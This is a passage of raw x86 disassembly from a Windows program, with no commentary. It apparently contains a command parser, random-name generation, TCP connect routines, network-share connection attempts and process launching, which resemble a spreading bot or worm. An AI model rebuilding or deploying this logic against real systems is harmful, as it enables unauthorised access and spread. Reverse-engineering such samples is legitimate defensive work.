esi call sub_4014D3 mov [esp+50h+var_40], 1 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0 call sub_401226 pop ebp mov eax, esi pop edi pop esi pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn ; --------------------------------------------------------------------------- loc_41BBAF: ; CODE XREF: sub_41BA50+2Aj lea ecx, [esp+4Ch+var_24] call sub_40142E mov ebx, 2 mov [esp+4Ch+var_4], ebx call near ptr 27F0BB2h nop push eax nop call near ptr 77C371BCh mov edi, dword_511AC8 add esp, 4 call edi ; rand cdq mov ecx, 3 idiv ecx lea ecx, [esp+4Ch+var_24] mov esi, edx mov edx, [esp+4Ch+arg_4] push edx add esi, 6 call sub_4015E1 test esi, esi jle short loc_41BC4E loc_41BBF8: ; CODE XREF: sub_41BA50+1FCj lea ecx, [esp+4Ch+var_3C] call sub_40142E lea eax, [esp+4Ch+var_24] lea ecx, [esp+4Ch+var_3C] push eax mov byte ptr [esp+50h+var_4], 3 call sub_401FDC call edi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+4Ch+var_3C] add edx, 61h push edx call sub_4017EE push eax lea edx, [esp+54h+var_24] push offset dword_444E64 push edx call sub_40102D add esp, 10h lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], bl call sub_401226 dec esi jnz short loc_41BBF8 loc_41BC4E: ; CODE XREF: sub_41BA50+1A6j mov esi, [esp+4Ch+arg_0] lea eax, [esp+4Ch+var_24] push eax mov ecx, esi call sub_4014D3 lea ecx, [esp+4Ch+var_24] mov [esp+4Ch+var_40], 1 mov byte ptr [esp+4Ch+var_4], 0 call sub_401226 mov ecx, [esp+4Ch+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 40h retn sub_41BA50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BD20: ; CODE XREF: ___:00401573j mov al, [esp+4] cmp al, 20h jz short loc_41BD2F cmp al, 9 jz short loc_41BD2F xor al, al retn ; --------------------------------------------------------------------------- loc_41BD2F: ; CODE XREF: ___:0041BD26j ; ___:0041BD2Aj mov al, 1 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BD50: ; CODE XREF: ___:00401EF6j mov eax, [esp+4] push offset dword_444E6C push eax call near ptr 77C3F010h nop add esp, 8 test eax, eax jz short loc_41BD74 push eax nop call near ptr 77C40AB1h add esp, 4 mov al, 1 retn ; --------------------------------------------------------------------------- loc_41BD74: ; CODE XREF: ___:0041BD65j xor al, al retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BD90 proc near ; CODE XREF: sub_401483j var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = byte ptr -20h arg_0 = dword ptr 4 sub esp, 30h push ebx push ebp push esi push edi mov edi, [esp+40h+arg_0] test edi, edi jz loc_41BFEE mov esi, offset byte_448F40 mov eax, edi loc_41BDAA: ; CODE XREF: sub_41BD90+3Cj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BDD2 test cl, cl jz short loc_41BDCE mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BDD2 add eax, 2 add esi, 2 test cl, cl jnz short loc_41BDAA loc_41BDCE: ; CODE XREF: sub_41BD90+26j xor eax, eax jmp short loc_41BDD7 ; --------------------------------------------------------------------------- loc_41BDD2: ; CODE XREF: sub_41BD90+22j ; sub_41BD90+32j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BDD7: ; CODE XREF: sub_41BD90+40j test eax, eax jz loc_41BFEE push 20h lea eax, [esp+44h+var_20] push edi push eax nop call near ptr 77C47A90h mov edi, dword_511B00 lea ecx, [esp+4Ch+var_20] push offset dword_4447F8 push ecx call edi ; strtok add esp, 14h mov [esp+40h+var_30], eax test eax, eax jz loc_41BFEE mov ebx, 1 lea esi, [esp+40h+var_2C] loc_41BE17: ; CODE XREF: sub_41BD90+A4j push offset dword_4447F8 push 0 call edi ; strtok add esp, 8 mov [esi], eax test eax, eax jz loc_41BFEE inc ebx add esi, 4 cmp ebx, 4 jl short loc_41BE17 mov ebp, [esp+40h+var_30] mov esi, offset dword_444E88 mov eax, ebp loc_41BE41: ; CODE XREF: sub_41BD90+D3j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BE69 test dl, dl jz short loc_41BE65 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BE69 add eax, 2 add esi, 2 test dl, dl jnz short loc_41BE41 loc_41BE65: ; CODE XREF: sub_41BD90+BDj xor eax, eax jmp short loc_41BE6E ; --------------------------------------------------------------------------- loc_41BE69: ; CODE XREF: sub_41BD90+B9j ; sub_41BD90+C9j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BE6E: ; CODE XREF: sub_41BD90+D7j test eax, eax jnz short loc_41BE7C pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BD90+E0j mov esi, offset dword_444E84 mov eax, ebp loc_41BE83: ; CODE XREF: sub_41BD90+115j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BEAB test dl, dl jz short loc_41BEA7 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BEAB add eax, 2 add esi, 2 test dl, dl jnz short loc_41BE83 loc_41BEA7: ; CODE XREF: sub_41BD90+FFj xor eax, eax jmp short loc_41BEB0 ; --------------------------------------------------------------------------- loc_41BEAB: ; CODE XREF: sub_41BD90+FBj ; sub_41BD90+10Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BEB0: ; CODE XREF: sub_41BD90+119j mov edi, [esp+40h+var_2C] test eax, eax jnz short loc_41BEFA mov esi, offset dword_444E80 mov edx, edi loc_41BEBF: ; CODE XREF: sub_41BD90+151j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BEE7 test bl, bl jz short loc_41BEE3 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BEE7 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BEBF loc_41BEE3: ; CODE XREF: sub_41BD90+13Bj xor edx, edx jmp short loc_41BEEC ; --------------------------------------------------------------------------- loc_41BEE7: ; CODE XREF: sub_41BD90+137j ; sub_41BD90+147j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BEEC: ; CODE XREF: sub_41BD90+155j test edx, edx jnz short loc_41BEFA pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BEFA: ; CODE XREF: sub_41BD90+126j ; sub_41BD90+15Ej mov esi, offset dword_444E7C mov edx, ebp loc_41BF01: ; CODE XREF: sub_41BD90+193j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BF29 test bl, bl jz short loc_41BF25 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BF29 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BF01 loc_41BF25: ; CODE XREF: sub_41BD90+17Dj xor edx, edx jmp short loc_41BF2E ; --------------------------------------------------------------------------- loc_41BF29: ; CODE XREF: sub_41BD90+179j ; sub_41BD90+189j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BF2E: ; CODE XREF: sub_41BD90+197j test edx, edx jnz short loc_41BF74 mov esi, offset dword_444E78 mov edx, edi loc_41BF39: ; CODE XREF: sub_41BD90+1CBj mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BF61 test bl, bl jz short loc_41BF5D mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BF61 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BF39 loc_41BF5D: ; CODE XREF: sub_41BD90+1B5j xor edx, edx jmp short loc_41BF66 ; --------------------------------------------------------------------------- loc_41BF61: ; CODE XREF: sub_41BD90+1B1j ; sub_41BD90+1C1j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BF66: ; CODE XREF: sub_41BD90+1CFj test edx, edx jnz short loc_41BF74 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BF74: ; CODE XREF: sub_41BD90+1A0j ; sub_41BD90+1D8j mov esi, offset dword_444E74 mov ecx, ebp loc_41BF7B: ; CODE XREF: sub_41BD90+20Dj mov al, [ecx] mov bl, [esi] mov dl, al cmp al, bl jnz short loc_41BFA3 test dl, dl jz short loc_41BF9F mov al, [ecx+1] mov bl, [esi+1] mov dl, al cmp al, bl jnz short loc_41BFA3 add ecx, 2 add esi, 2 test dl, dl jnz short loc_41BF7B loc_41BF9F: ; CODE XREF: sub_41BD90+1F7j xor ecx, ecx jmp short loc_41BFA8 ; --------------------------------------------------------------------------- loc_41BFA3: ; CODE XREF: sub_41BD90+1F3j ; sub_41BD90+203j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_41BFA8: ; CODE XREF: sub_41BD90+211j test ecx, ecx jnz short loc_41BFEE mov esi, offset dword_444E70 mov eax, edi loc_41BFB3: ; CODE XREF: sub_41BD90+245j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BFDB test cl, cl jz short loc_41BFD7 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BFDB add eax, 2 add esi, 2 test cl, cl jnz short loc_41BFB3 loc_41BFD7: ; CODE XREF: sub_41BD90+22Fj xor eax, eax jmp short loc_41BFE0 ; --------------------------------------------------------------------------- loc_41BFDB: ; CODE XREF: sub_41BD90+22Bj ; sub_41BD90+23Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BFE0: ; CODE XREF: sub_41BD90+249j test eax, eax jnz short loc_41BFEE pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BFEE: ; CODE XREF: sub_41BD90+Dj ; sub_41BD90+49j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 30h retn sub_41BD90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C0A0 proc near ; CODE XREF: sub_402022j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push esi push 6 push 1 push 2 xor bl, bl nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41C108 cmp esi, 0FFFFFFFFh jz short loc_41C108 mov eax, [esp+18h+arg_0] push eax nop call near ptr 71AB2BF4h mov ecx, [esp+18h+arg_4] mov [esp+18h+var_C], eax push ecx nop call near ptr 71AB2B66h lea edx, [esp+18h+var_10] push 10h push edx push esi mov [esp+24h+var_E], ax mov [esp+24h+var_10], 2 call near ptr 71AB406Ah nop test eax, eax jnz short loc_41C0F9 mov bl, 1 loc_41C0F9: ; CODE XREF: sub_41C0A0+55j push esi nop call near ptr 71AB9639h mov al, bl pop esi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_41C108: ; CODE XREF: sub_41C0A0+18j ; sub_41C0A0+1Dj pop esi xor al, al pop ebx add esp, 10h retn sub_41C0A0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C130 proc near ; CODE XREF: sub_401299j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push 0 push eax push ecx push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h cmp eax, 20h setnl al retn sub_41C130 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C170 proc near ; CODE XREF: sub_402167j var_54 = byte ptr -54h var_44 = dword ptr -44h var_14 = word ptr -14h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd mov [esp+58h+var_14], ax lea eax, [esp+58h+var_54] mov edx, [esp+58h+arg_0] lea ecx, [esp+58h+var_44] push eax push ecx push 0 push 0 push 28h push 0 push 0 push 0 push edx push 0 mov [esp+80h+var_44], 44h nop call near ptr 28004C1h test eax, eax setnle al pop edi add esp, 54h retn sub_41C170 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C1E0: ; CODE XREF: ___:00401884j sub esp, 354h mov eax, off_444E94 mov ecx, off_444E98 mov [esp+0], eax mov al, byte_448F40 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_444E9C rep stosd mov ecx, off_444E8C mov [esp+10h], edx mov dx, word_444E90 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] xor edi, edi push eax push 0FFFFFFFFh push ecx push edi push edi nop call near ptr 27C0000h mov esi, dword_511AB8 lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat mov esi, [esp+374h] add esp, 10h lea eax, [esp+12Ch] push edi push offset dword_50DB5C push offset dword_50DB5C push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call sub_43829E ; --------------------------------------------------------------------------- cmp eax, 5 jz short loc_41C2C8 cmp eax, 4C3h jnz short loc_41C2D1 loc_41C2C8: ; CODE XREF: ___:0041C2BFj push edi push edi push edi push esi call sub_43829E ; --------------------------------------------------------------------------- loc_41C2D1: ; CODE XREF: ___:0041C2C6j pop edi cmp eax, 5 pop esi jz short loc_41C2E8 cmp eax, 4C3h jz short loc_41C2E8 mov al, 1 add esp, 354h retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: ___:0041C2D6j ; ___:0041C2DDj xor al, al add esp, 354h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C350: ; CODE XREF: ___:00401EE7j sub esp, 354h mov eax, off_444E94 mov ecx, off_444E98 mov [esp+0], eax mov al, byte_448F40 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_444E9C rep stosd mov ecx, off_444E8C mov [esp+10h], edx mov dx, word_444E90 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] push eax push 0FFFFFFFFh push ecx push 0 push 0 nop call near ptr 27C0000h mov esi, dword_511AB8 lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat add esp, 10h lea eax, [esp+12Ch] push 0 push 0 push eax call sub_4382A4 ; --------------------------------------------------------------------------- test eax, eax jz short loc_41C438 mov esi, dword_5118D8 loc_41C41C: ; CODE XREF: ___:0041C436j push 7D0h call esi push 0 lea ecx, [esp+130h] push 0 push ecx call sub_4382A4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41C41C loc_41C438: ; CODE XREF: ___:0041C414j pop edi mov al, 1 pop esi add esp, 354h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41C490 proc near ; CODE XREF: sub_401D93j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41C490 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 0Ch push 4 push 4Fh push 10h push 14h lea eax, [esp+5Ch+var_3C] push 6 mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_41C490 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h lea edx, [esp+24h] push 6 push edx call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+118h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 15h push 4Fh push 10h push 14h lea ecx, [esp+20h] push 6 push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+0EAh] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 4 push 4Fh push 10h push 14h push 14h lea eax, [esp+24h] push 8 push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h push 14h lea edx, [esp+28h] push 8 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE push eax lea eax, [esi+60h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 4Fh push 10h push 14h push 14h lea ecx, [esp+4Ch] push 8 push ecx call sub_4019C4 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017EE add esi, 32h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C710 proc near ; CODE XREF: sub_401064j var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_F4 = byte ptr -0F4h var_DC = byte ptr -0DCh var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_94 = byte ptr -94h var_7C = byte ptr -7Ch var_67 = byte ptr -67h var_52 = byte ptr -52h var_3D = byte ptr -3Dh var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_41C710 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 108h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+124h+var_10C] call sub_40142E lea ecx, [esp+124h+var_DC] mov [esp+124h+var_4], 0 call sub_40142E lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_40142E lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_40142E lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_40142E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401B4A mov esi, [esp+124h+arg_0] mov bl, 5 lea ecx, [ebp+8Eh] mov byte ptr [esp+124h+var_4], bl lea edi, [esi+7Eh] call sub_4017EE push eax mov ecx, edi call sub_4012EE lea ecx, [ebp+4] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_41C93C push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 6 push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C74 ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 7 call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 8 jz short loc_41C8CC mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41C8CE ; --------------------------------------------------------------------------- loc_41C8CC: ; CODE XREF: sub_41C710+1AFj xor edi, edi loc_41C8CE: ; CODE XREF: sub_41C710+1BAj lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013DE loc_41C93C: ; CODE XREF: sub_41C710+C0j lea ecx, [ebp+60h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CABB push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 9 push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C74 ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Ah call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Bh jz short loc_41CA4B mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CA4D ; --------------------------------------------------------------------------- loc_41CA4B: ; CODE XREF: sub_41C710+32Ej xor edi, edi loc_41CA4D: ; CODE XREF: sub_41C710+339j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FDC mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013DE loc_41CABB: ; CODE XREF: sub_41C710+23Fj lea ecx, [ebp+32h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CCF6 push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 0Ch push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C74 ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Dh call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 3 push eax mov ecx, esi call sub_4016B8 push offset word_44956A mov ecx, eax mov byte ptr [esp+128h+var_4], 0Eh call sub_401B86 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41CC5E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D312 ; --------------------------------------------------------------------------- loc_41CC5E: ; CODE XREF: sub_41C710+4D6j push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Fh jz short loc_41CC86 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CC88 ; --------------------------------------------------------------------------- loc_41CC86: ; CODE XREF: sub_41C710+569j xor edi, edi loc_41CC88: ; CODE XREF: sub_41C710+574j lea ecx, [esp+124h+var_10C] mov byte ptr [esp+124h+var_4], bl push ecx lea ecx, [edi+11h] call sub_401FDC lea edx, [esp+124h+var_DC] lea ecx, [edi+26h] push edx call sub_401FDC lea eax, [esp+124h+var_C4] lea ecx, [edi+65h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 0 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41CCF6: ; CODE XREF: sub_41C710+3BEj lea ecx, [ebp+0BCh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CE9B push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 10h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 11h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 12h jz short loc_41CE0E mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CE10 ; --------------------------------------------------------------------------- loc_41CE0E: ; CODE XREF: sub_41C710+6F1j xor edi, edi loc_41CE10: ; CODE XREF: sub_41C710+6FCj lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea eax, 